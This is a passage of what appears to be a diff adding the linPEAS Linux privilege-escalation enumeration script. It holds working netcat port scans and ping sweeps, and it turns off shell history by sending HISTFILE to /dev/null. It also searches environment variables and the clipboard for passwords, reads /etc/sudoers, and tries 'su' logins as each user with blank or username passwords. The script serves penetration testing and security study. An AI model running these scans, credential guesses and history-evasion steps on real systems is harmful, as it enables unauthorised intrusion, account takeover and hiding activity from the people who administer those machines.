1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 65389" + else + printf $Y"[+]$B Ports going to be scanned: $PORTS" $NC | tr '\n' " " + printf "$NC\n" + fi + + for port in $PORTS; do + ($NC_SCAN $IP $port 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed "s,[0-9\.],${C}[1;31m&${C}[0m,g") & + done + wait +} + +discover_network (){ + #Check if IP and Netmask are correct and the use fping or ping to find hosts + basic_net_info + + printf $B"====================================( "$GREEN"Network Discovery"$B" )=====================================\n"$NC + + DISCOVERY=$1 + IP=$(echo $DISCOVERY | cut -d "/" -f 1) + NETMASK=$(echo $DISCOVERY | cut -d "/" -f 2) + + if [ -z $IP ] || [ -z $NETMASK ]; then + printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24"$NC; + printf $B"$HELP"$NC; + exit 0 + fi + + #Using fping if possible + if [ "$FPING" ]; then + $FPING -a -q -g $DISCOVERY | sed "s,.*,${C}[1;31m&${C}[0m," + + #Loop using ping + else + if [ $NETMASK -eq "24" ]; then + printf $Y"[+]$GREEN Netmask /24 detected, starting...\n$NC" + icmp_recon $IP + + elif [ $NETMASK -eq "16" ]; then + printf $Y"[+]$GREEN Netmask /16 detected, starting...\n$NC" + for i in $(seq 1 254) + do + NEWIP=$(echo $IP | cut -d "." -f 1,2).$i.1 + icmp_recon $NEWIP + done + else + printf $RED"[-] Err: Sorry, only Netmask /24 and /16 supported in ping mode. Netmask detected: $NETMASK"$NC; + exit 0 + fi + fi +} + +discovery_port_scan (){ + basic_net_info + + #Check if IP and Netmask are correct and the use nc to find hosts. By default check ports: 22 80 443 445 3389 + printf $B"============================( "$GREEN"Network Discovery (scanning ports)"$B" )=============================\n"$NC + DISCOVERY=$1 + MYPORTS=$2 + + IP=$(echo $DISCOVERY | cut -d "/" -f 1) + NETMASK=$(echo $DISCOVERY | cut -d "/" -f 2) + + if [ -z $IP ] || [ -z $NETMASK ]; then + printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24"$NC; + printf $B"$HELP"$NC; + exit 0 + fi + + PORTS="22 80 443 445 3389 `echo $MYPORTS | tr "," " "`" + PORTS=`echo "$PORTS" | tr " " "\n" | sort -u` #Delete repetitions + + if [ $NETMASK -eq "24" ]; then + printf $Y"[+]$GREEN Netmask /24 detected, starting...\n" $NC + tcp_recon $IP "$PORTS" + + elif [ $NETMASK -eq "16" ]; then + printf $Y"[+]$GREEN Netmask /16 detected, starting...\n" $NC + for i in $(seq 0 255) + do + NEWIP=$(echo $IP | cut -d "." -f 1,2).$i.1 + tcp_recon $NEWIP "$PORTS" + done + else + printf $RED"[-] Err: Sorry, only Netmask /24 and /16 supported in port discovery mode. Netmask detected: $NETMASK"$NC; + exit 0 + fi +} + + +########################################### +#---) Exporting history env variables (---# +########################################### + +if ! [ "$NOTEXPORT" ]; then + unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH + export HISTFILE=/dev/null + export HISTSIZE=0 + export HISTFILESIZE=0 +fi + + +########################################### +#-----------) Starting Output (-----------# +########################################### + +echo "" +if [ !"$QUIET" ]; then print_banner; fi +printf " linpeas $VERSION" | sed "s,.*,${C}[1;94m&${C}[0m,"; printf $Y" by carlospolop\n"$NC +echo "" +printf $B"Linux Privesc Checklist: "$Y"https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist\n"$NC +echo " LEYEND:" | sed "s,LEYEND,${C}[1;4m&${C}[0m," +echo " RED/YELLOW: 99% a PE vector" | sed "s,RED/YELLOW,${C}[1;31;103m&${C}[0m," +echo " RED: You must take a look at it" | sed "s,RED,${C}[1;31m&${C}[0m," +echo " LightCyan: Users with console" | sed "s,LightCyan,${C}[1;96m&${C}[0m," +echo " Blue: Users without console & mounted devs" | sed "s,Blue,${C}[1;34m&${C}[0m," +echo " Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts) " | sed "s,Green,${C}[1;32m&${C}[0m," +echo " LightMangenta: Your username" | sed "s,LightMangenta,${C}[1;95m&${C}[0m," +if [ "$(/usr/bin/id -u)" -eq "0" ]; then + echo "" + echo " YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)" | sed "s,YOU ARE ALREADY ROOT!!!,${C}[1;31;103m&${C}[0m," + sleep 3 +fi +echo "" +echo "" + + +########################################### +#-----------) Some Basic Info (-----------# +########################################### + +printf $B"====================================( "$GREEN"Basic information"$B" )=====================================\n"$NC +printf $LG"OS: "$NC +(cat /proc/version || uname -a ) 2>/dev/null | sed "s,$kernelDCW_Ubuntu_Precise_1,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Ubuntu_Precise_2,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Ubuntu_Trusty_1,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Ubuntu_Trusty_2,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Ubuntu_Xenial,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Rhel5,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Rhel6_1,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Rhel6_2,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Rhel7,${C}[1;31;103m&${C}[0m," | sed "s,$kernelB,${C}[1;31m&${C}[0m," +printf $LG"User & Groups: "$NC +(id || (whoami && groups)) 2>/dev/null | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$knw_usrs,${C}[1;32m&${C}[0m,g" | sed "s,$knw_grps,${C}[1;32m&${C}[0m,g" | sed "s,$groupsB,${C}[1;31m&${C}[0m,g" | sed "s,$groupsVB,${C}[1;31;103m&${C}[0m,g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed "s,$idB,${C}[1;31m&${C}[0m,g" +printf $LG"Hostname: "$NC +hostname 2>/dev/null +printf $LG"Writable folder: "$NC +echo $Wfolder +if [ "$DISCOVER_BAN_GOOD" ]; then + printf $Y"[+] $DISCOVER_BAN_GOOD\n"$NC +else + printf $RED"[-] $DISCOVER_BAN_BAD\n"$NC +fi + +if [ "$SCAN_BAN_GOOD" ]; then + printf $Y"[+] $SCAN_BAN_GOOD\n"$NC +else + printf $RED"[-] $SCAN_BAN_BAD\n"$NC +fi +if [ "`which nmap 2>/dev/null`" ];then + NMAP_GOOD=$GREEN"nmap$B is available for network discover & port scanning, you use use it yourself" + printf $Y"[+] $NMAP_GOOD\n"$NC +fi +echo "" +echo "" + + +########################################### +#--------) Check if network jobs (--------# +########################################### +if [ "$PORTS" ]; then + if [ "$SCAN_BAN_GOOD" ]; then + if [ "`echo -n $PORTS | sed 's,[0-9, ],,g'`" ]; then + printf $RED"[-] Err: Symbols detected in the port, for discovering purposes select only 1 port\n"$NC; + printf $B"$HELP"$NC; + exit 0 + else + #Select the correct configuration of the netcat found + select_nc + fi + else + printf $RED" Err: Port scan not possible, any netcat in PATH\n"$NC; + printf $B"$HELP"$NC; + exit 0 + fi +fi + +if [ "$DISCOVERY" ]; then + if [ "$PORTS" ]; then + discovery_port_scan $DISCOVERY $PORTS + else + if [ "$DISCOVER_BAN_GOOD" ]; then + discover_network $DISCOVERY + else + printf $RED" Err: Discovery not possible, no fping or ping in PATH\n"$NC; + fi + fi + exit 0 + +elif [ "$IP" ]; then + select_nc + tcp_port_scan $IP $PORTS + exit 0 +fi + + +if [ "`echo $CHECKS | grep SysI`" ]; then + ########################################### + #-------------) System Info (-------------# + ########################################### + printf $B"====================================( "$GREEN"System Information"$B" )====================================\n"$NC + + #-- 1SY) OS + printf $Y"[+] "$GREEN"Operative system\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits\n"$NC + (cat /proc/version || uname -a ) 2>/dev/null | sed "s,$kernelDCW_Ubuntu_Precise_1,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Ubuntu_Precise_2,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Ubuntu_Trusty_1,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Ubuntu_Trusty_2,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Ubuntu_Xenial,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Rhel5,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Rhel6_1,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Rhel6_2,${C}[1;31;103m&${C}[0m," | sed "s,$kernelDCW_Rhel7,${C}[1;31;103m&${C}[0m," | sed "s,$kernelB,${C}[1;31m&${C}[0m," + lsb_release -a 2>/dev/null + echo "" + + #-- 2SY) Sudo + printf $Y"[+] "$GREEN"Sudo version\n"$NC + if [ "`which sudo 2>/dev/null`" ]; then + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version\n"$NC + sudo -V 2>/dev/null | grep "Sudo ver" | sed "s,$sudovB,${C}[1;31m&${C}[0m," + else echo_not_found "sudo" + fi + echo "" + + #-- 3SY) PATH + printf $Y"[+] "$GREEN"PATH\n"$NC + printf $B"[i] "$Y"Any writable folder in original PATH? (a new completed path will be exported)\n"$NC + echo $OLDPATH 2>/dev/null | sed "s,$Wfolders\|\.,${C}[1;31;103m&${C}[0m," + echo "New path exported: $PATH" 2>/dev/null | sed "s,$Wfolders\|\.,${C}[1;31;103m&${C}[0m," + echo "" + + #-- 4SY) Date + printf $Y"[+] "$GREEN"Date\n"$NC + date 2>/dev/null || echo_not_found "date" + echo "" + + #-- 5SY) System stats + printf $Y"[+] "$GREEN"System stats\n"$NC + df -h 2>/dev/null || echo_not_found "df" + free 2>/dev/null || echo_not_found "free" + echo "" + + #-- 6SY) Environment vars + printf $Y"[+] "$GREEN"Environment\n"$NC + printf $B"[i] "$Y"Any private information inside environment variables?\n"$NC + (env || set) 2>/dev/null | grep -v "^VERSION=\|pwd_inside_history\|kernelDCW_Ubuntu_Precise_1\|kernelDCW_Ubuntu_Precise_2\|kernelDCW_Ubuntu_Trusty_1\|kernelDCW_Ubuntu_Trusty_2\|kernelDCW_Ubuntu_Xenial\|kernelDCW_Rhel5\|kernelDCW_Rhel6_1\|kernelDCW_Rhel6_2\|kernelDCW_Rhel7\|^sudovB=\|^rootcommon=\|^mounted=\|^mountG=\|^notmounted=\|^mountpermsB=\|^mountpermsG=\|^kernelB=\|^C=\|^RED=\|^GREEN=\|^Y=\|^B=\|^NC=\|TIMEOUT=\|groupsB=\|groupsVB=\|knw_grps=\|sidG=\|sidB=\|sidVB=\|sudoB=\|sudoVB=\|sudocapsB=\|capsB=\|\notExtensions=\|Wfolders=\|writeB=\|writeVB=\|_usrs=\|compiler=\|PWD=\|LS_COLORS=\|pathshG=\|notBackup=" | sed "s,pwd\|passw\|PWD\|PASSW\|Passwd\|Pwd,${C}[1;31m&${C}[0m,g" || echo_not_found "env || set" + echo "" + + #-- 7SY) Dmesg + printf $Y"[+] "$GREEN"Looking for Signature verification failed in dmseg\n"$NC + (dmesg 2>/dev/null | grep signature) || echo_not_found + echo "" + + #-- 8SY) SElinux + printf $Y"[+] "$GREEN"selinux enabled? .......... "$NC + (sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${C}[1;31m&${C}[0m," + + #-- 9SY) Printer + printf $Y"[+] "$GREEN"Printer? .......... "$NC + lpstat -a 2>/dev/null || echo_not_found "lpstat" + + #-- 10SY) Container + printf $Y"[+] "$GREEN"Is this a container? .......... "$NC + dockercontainer=`grep -i docker /proc/self/cgroup 2>/dev/null; find / -maxdepth 3 -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null` + lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null` + if [ "$dockercontainer" ]; then echo "Looks like we're in a Docker container" | sed "s,.*,${C}[1;31m&${C}[0m,"; + elif [ "$lxccontainer" ]; then echo "Looks like we're in a LXC container" | sed "s,.*,${C}[1;31m&${C}[0m,"; + else echo_no + fi + echo "" + echo "" +fi + + +if [ "`echo $CHECKS | grep Devs`" ]; then + ########################################### + #---------------) Devices (---------------# + ########################################### + printf $B"=========================================( "$GREEN"Devices"$B" )==========================================\n"$NC + + #-- 1D) sd in /dev + printf $Y"[+] "$GREEN"Any sd* disk in /dev? (limit 20)\n"$NC + ls /dev 2>/dev/null | grep -i "sd" | sed "s,crypt,${C}[1;31m&${C}[0m," | head -n 20 + echo "" + + #-- 2D) Unmounted + printf $Y"[+] "$GREEN"Unmounted file-system?\n"$NC + printf $B"[i] "$Y"Check if you can mount umounted devices\n"$NC + cat /etc/fstab 2>/dev/null | grep -v "^#" | sed "s,$mountG,${C}[1;32m&${C}[0m,g" | sed "s,$notmounted,${C}[1;31m&${C}[0m," | sed "s,$mounted,${C}[1;34m&${C}[0m," | sed "s,$Wfolders,${C}[1;31m&${C}[0m," | sed "s,$mountpermsB,${C}[1;31m&${C}[0m,g" | sed "s,$mountpermsG,${C}[1;32m&${C}[0m,g" + echo "" + echo "" +fi + + +if [ "`echo $CHECKS | grep AvaSof`" ]; then + ########################################### + #---------) Available Software (----------# + ########################################### + printf $B"====================================( "$GREEN"Available Software"$B" )====================================\n"$NC + + #-- 1AS) Useful software + printf $Y"[+] "$GREEN"Useful software?\n"$NC + which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch 2>/dev/null + echo "" + + #-- 2AS) Search for compilers + printf $Y"[+] "$GREEN"Installed compilers?\n"$NC + (dpkg --list 2>/dev/null | grep compiler | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") || echo_not_found "Compilers"; + echo "" + echo "" +fi + + +if [ "`echo $CHECKS | grep ProCronSrvcs`" ]; then + ########################################### + #-----) Processes & Cron & Services (-----# + ########################################### + printf $B"================================( "$GREEN"Processes, Cron & Services"$B" )================================\n"$NC + + #-- 1PCS) Cleaned proccesses + printf $Y"[+] "$GREEN"Cleaned processes\n"$NC + if [ "$NOUSEPS" ]; then + printf $B"[i] "$GREEN"Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC + fi + printf $B"[i] "$Y"Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes\n"$NC + + if [ "$NOUSEPS" ]; then + print_ps | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$rootcommon,${C}[1;32m&${C}[0m," | sed "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + else + ps aux 2>/dev/null | grep -v "\[" | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$rootcommon,${C}[1;32m&${C}[0m," | sed "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + echo "" + + #-- 2PCS) Binary processes permissions + printf $Y"[+] "$GREEN"Binary processes permissions\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes\n"$NC + ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | sed "s,$sh_usrs,${C}[1;31m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;31m&${C}[0m," | sed "s,root,${C}[1;32m&${C}[0m," + fi + echo "" + + #-- 3PCS) Different processes 1 min + if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then + printf $Y"[+] "$GREEN"Different processes executed during 1 min (interesting is low number of repetitions)\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#frequent-cron-jobs\n"$NC + if [ "`ps -e --format cmd 2>/dev/null`" ]; then for i in $(seq 1 1250); do ps -e --format cmd >> $file.tmp1; sleep 0.05; done; sort $file.tmp1 | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm $file.tmp1; fi + echo "" + fi + + #-- 4PCS) Cron + printf $Y"[+] "$GREEN"Cron jobs\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-jobs\n"$NC + crontab -l 2>/dev/null | sed "s,$Wfolders,${C}[1;31;103m&${C}[0m,g" | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + ls -al /etc/cron* 2>/dev/null + cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root /var/spool/anacron 2>/dev/null | grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron." | sed "s,$Wfolders,${C}[1;31;103m&${C}[0m,g" | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + crontab -l -u $USER 2>/dev/null + echo "" + + #-- 5PSC) Services + printf $Y"[+] "$GREEN"Services\n"$NC + printf $B"[i] "$Y"Search for outdated versions\n"$NC + (service --status-all || chkconfig --list || rc-status) 2>/dev/null || echo_not_found "service|chkconfig|rc-status" + echo "" + echo "" +fi + + +if [ "`echo $CHECKS | grep Net`" ]; then + ########################################### + #---------) Network Information (---------# + ########################################### + printf $B"===================================( "$GREEN"Network Information"$B" )====================================\n"$NC + + #-- 1NI) Hostname, hosts and DNS + printf $Y"[+] "$GREEN"Hostname, hosts and DNS\n"$NC + cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" + dnsdomainname 2>/dev/null + echo "" + + #-- 2NI) /etc/inetd.conf + printf $Y"[+] "$GREEN"Content of /etc/inetd.conf\n"$NC + (cat /etc/inetd.conf 2>/dev/null | grep -v "^#") || echo_not_found "/etc/inetd.conf" + echo "" + + #-- 3NI) Networks and neighbours + printf $Y"[+] "$GREEN"Networks and neighbours\n"$NC + cat /etc/networks 2>/dev/null + (ifconfig || ip a) 2>/dev/null + ip n 2>/dev/null + route -n 2>/dev/null + echo "" + + #-- 4NI) Iptables + printf $Y"[+] "$GREEN"Iptables rules\n"$NC + (iptables -L ; cat /etc/iptables/* | grep -v "^#") 2>/dev/null || echo_not_found "iptables rules" + echo "" + + #-- 5NI) Ports + printf $Y"[+] "$GREEN"Active Ports\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#internal-open-ports\n"$NC + (netstat -punta || ss -t; ss -u) 2>/dev/null | sed "s,127.0.0.1,${C}[1;31m&${C}[0m," + echo "" + + #-- 6NI) tcpdump + printf $Y"[+] "$GREEN"Can I sniff with tcpdump?\n"$NC + tcpd=`timeout 1 tcpdump 2>/dev/null` + if [ "$tcpd" ]; then + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#sniffing\n"$NC + echo "You can sniff with tcpdump!" | sed "s,.*,${C}[1;31m&${C}[0m," + else echo_no + fi + echo "" + echo "" +fi + + +if [ "`echo $CHECKS | grep UsrI`" ]; then + ########################################### + #----------) Users Information (----------# + ########################################### + printf $B"====================================( "$GREEN"Users Information"$B" )=====================================\n"$NC + + #-- 1UI) My user + printf $Y"[+] "$GREEN"My user\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#groups\n"$NC + (id || (whoami && groups)) 2>/dev/null | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$knw_usrs,${C}[1;32m&${C}[0m,g" | sed "s,$knw_grps,${C}[1;32m&${C}[0m,g" | sed "s,$groupsB,${C}[1;31m&${C}[0m,g" | sed "s,$groupsVB,${C}[1;31;103m&${C}[0m,g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" + echo "" + + #-- 2UI) PGP keys? + printf $Y"[+] "$GREEN"Do I have PGP keys?\n"$NC + gpg --list-keys 2>/dev/null || echo_not_found "gpg" + echo "" + + #-- 3UI) Clipboard and highlighted text + printf $Y"[+] "$GREEN"Clipboard or highlighted text?\n"$NC + if [ `which xclip 2>/dev/null` ]; then + echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` | sed "s,$pwd_inside_history,${C}[1;31m&${C}[0m," + echo "Highlighted text: "`xclip -o 2>/dev/null` | sed "s,$pwd_inside_history,${C}[1;31m&${C}[0m," + elif [ `which xsel 2>/dev/null` ]; then + echo "Clipboard: "`xsel -ob 2>/dev/null` | sed "s,$pwd_inside_history,${C}[1;31m&${C}[0m," + echo "Highlighted text: "`xsel -o 2>/dev/null` | sed "s,$pwd_inside_history,${C}[1;31m&${C}[0m," + else echo_not_found "xsel and xclip" + fi + echo "" + + #-- 4UI) Sudo -l + printf $Y"[+] "$GREEN"Testing 'sudo -l' without password & /etc/sudoers\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands\n"$NC + (echo '' | sudo -S -l 2>/dev/null | sed "s,_proxy,${C}[1;31m&${C}[0m,g" | sed "s,$sudoB,${C}[1;31m&${C}[0m,g" | sed "s,$sudoVB,${C}[1;31;103m&${C}[0m,") || echo_not_found "sudo" + (cat /etc/sudoers 2>/dev/null | sed "s,_proxy,${C}[1;31m&${C}[0m,g" | sed "s,$sudoB,${C}[1;31m&${C}[0m,g" | sed "s,$sudoVB,${C}[1;31;103m&${C}[0m,") || echo_not_found "/etc/sudoers" + echo "" + + #-- 5UI) Doas + printf $Y"[+] "$GREEN"Checking /etc/doas.conf\n"$NC + if [ "`cat /etc/doas.conf 2>/dev/null`" ]; then cat /etc/doas.conf 2>/dev/null | sed "s,$sh_usrs,${C}[1;31m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," | sed "s,nopass,${C}[1;31m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$USER,${C}[1;31;103m&${C}[0m," + else echo_not_found "/etc/doas.conf" + fi + echo "" + + #-- 6UI) Pkexec policy + printf $Y"[+] "$GREEN"Checking Pkexec policy\n"$NC + (cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$groupsB,${C}[1;31m&${C}[0m," | sed "s,$groupsVB,${C}[1;31m&${C}[0m," | sed "s,$USER,${C}[1;31;103m&${C}[0m," | sed "s,$GROUPS,${C}[1;31;103m&${C}[0m,") || echo_not_found "/etc/polkit-1/localauthority.conf.d" + echo "" + + #-- 7UI) Brute su + if [ "$TIMEOUT" ]; then + printf $Y"[+] "$GREEN"Testing 'su' as other users with shell without password or with their names as password (only works in modern su binary versions)\n"$NC + SHELLUSERS=`cat /etc/passwd 2>/dev/null | grep -i "sh$" | cut -d ":" -f 1` + for u in $SHELLUSERS; do + echo "Trying with $u..." + trysu=`echo "" | timeout 1 su $u -c whoami 2>/dev/null` + if [ "$trysu" ]; then + echo "You can login as $u whithout password!" | sed "s,.*,${C}[1;31m&${C}[0m," + else + trysu=`echo $u | timeout 1 su $u -c whoami 2>/dev/null` + if [ "$trysu" ]; then + echo "You can login as $u using the username as password!" | sed "s,.*,${C}[1;31m&${C}[0m," + fi + fi + done + else + printf $Y"[+] "$GREEN"Don forget to test 'su' as any other user with shell: without password and with their names as password (I can't do it...)\n"$NC + fi + printf $Y"[+] "$GREEN"Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC + echo "" + + #-- 8UI) Superusers + printf $Y"[+] "$GREEN"Superusers\n"$NC + awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;31;103m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + echo "" + + #-- 9UI) Users with console + printf $Y"[+] "$GREEN"Users with console\n"$NC + cat /etc/passwd 2>/dev/null | grep "sh$" | sort | sed 